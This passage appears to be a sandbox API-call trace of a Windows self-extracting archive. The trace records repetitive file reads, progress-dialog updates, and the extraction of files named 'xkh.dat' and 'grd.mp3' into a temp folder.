[0068.395] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.395] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.395] GetTickCount () returned 0x1fb7d [0068.395] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.395] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.395] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.395] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.395] GetTickCount () returned 0x1fb7d [0068.395] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.396] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.396] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.396] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.396] GetTickCount () returned 0x1fb7d [0068.396] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.396] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.396] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.396] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.396] GetTickCount () returned 0x1fb7d [0068.396] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.396] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.396] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.396] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.396] GetTickCount () returned 0x1fb7d [0068.396] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.396] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.396] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.396] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.396] GetTickCount () returned 0x1fb7d [0068.396] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.396] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.396] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.396] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.396] GetTickCount () returned 0x1fb7d [0068.396] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.396] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.396] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.396] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.396] GetTickCount () returned 0x1fb7d [0068.396] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.396] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.396] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.396] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.396] GetTickCount () returned 0x1fb7d [0068.396] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.396] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.396] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.396] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.396] GetTickCount () returned 0x1fb7d [0068.396] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.396] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x22f, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x22f, lpOverlapped=0x0) returned 1 [0068.398] GetTickCount () returned 0x1fb7d [0068.398] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.398] SetFilePointer (in: hFile=0x1c, lDistanceToMove=870719, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd493f [0068.398] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.398] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.398] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.398] CloseHandle (hObject=0x138) returned 1 [0068.398] SetFileAttributesA (lpFileName="xkh.dat", dwFileAttributes=0x20) returned 1 [0068.398] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd493f [0068.399] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.399] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.399] OemToCharA (in: pSrc="grd.mp3", pDst=0x179cc0 | out: pDst="grd.mp3") returned 1 [0068.399] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="grd.mp3", cchCount2=1) returned 1 [0068.399] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="grd.mp3", cchCount2=6) returned 1 [0068.399] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="grd.mp3", cchCount2=-1) returned 1 [0068.399] SetFilePointer (in: hFile=0x1c, lDistanceToMove=870763, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd496b [0068.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="grd.mp3") returned 8 [0068.399] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.399] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting grd.mp3") returned 18 [0068.399] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting grd.mp3") returned 1 [0068.399] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.399] OemToCharBuffA (in: lpszSrc="g", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="g") returned 1 [0068.400] CharToOemBuffA (in: lpszSrc="G", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="G") returned 1 [0068.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="grd.mp3") returned 8 [0068.400] FindFirstFileW (in: lpFileName="grd.mp3", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.400] GetLastError () returned 0x2 [0068.400] GetFileAttributesA (lpFileName="grd.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\grd.mp3")) returned 0xffffffff [0068.400] CreateFileA (lpFileName="grd.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\grd.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.400] GetFileType (hFile=0x138) returned 0x1 [0068.400] SetFilePointer (in: hFile=0x138, lDistanceToMove=628, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x274 [0068.400] SetEndOfFile (hFile=0x138) returned 1 [0068.400] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.400] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1f8, lpOverlapped=0x0) returned 1 [0068.400] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.401] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.401] GetTickCount () returned 0x1fb7d [0068.401] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.401] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.401] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.401] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.401] GetTickCount () returned 0x1fb7d [0068.401] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.401] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.401] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.401] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.401] GetTickCount () returned 0x1fb7d [0068.401] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.401] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.401] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.401] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.401] GetTickCount () returned 0x1fb7d [0068.401] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.401] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.401] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.401] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.401] GetTickCount () returned 0x1fb7d [0068.401] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.401] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.401] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.401] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.401] GetTickCount () returned 0x1fb7d [0068.401] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.401] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.401] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.401] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.401] GetTickCount () returned 0x1fb7d [0068.401] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.401] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.402] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.402] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.402] GetTickCount () returned 0x1fb7d [0068.402] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.402] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.402] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.402] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.402] GetTickCount () returned 0x1fb7d [0068.402] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.402] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.402] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.402] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.402] GetTickCount () returned 0x1fb7d [0068.402] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.402] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.402] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.402] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.402] GetTickCount () returned 0x1fb7d [0068.402] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.402] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.402] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.402] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.402] GetTickCount () returned 0x1fb7d [0068.402] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.402] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.402] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.402] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.402] GetTickCount () returned 0x1fb7d [0068.402] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.402] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.402] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.402] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.402] GetTickCount () returned 0x1fb7d [0068.402] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.402] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.402] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.402] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.402] GetTickCount () returned 0x1fb7d [0068.402] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.402] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.402] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.402] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.402] GetTickCount () returned 0x1fb7d [0068.402] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.403] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.403] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.403] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.403] GetTickCount () returned 0x1fb7d [0068.403] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.403] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.403] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.403] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.403] GetTickCount () returned 0x1fb7d [0068.403] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.403] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.403] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.403] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.403] GetTickCount () returned 0x1fb7d [0068.403] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.403] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, 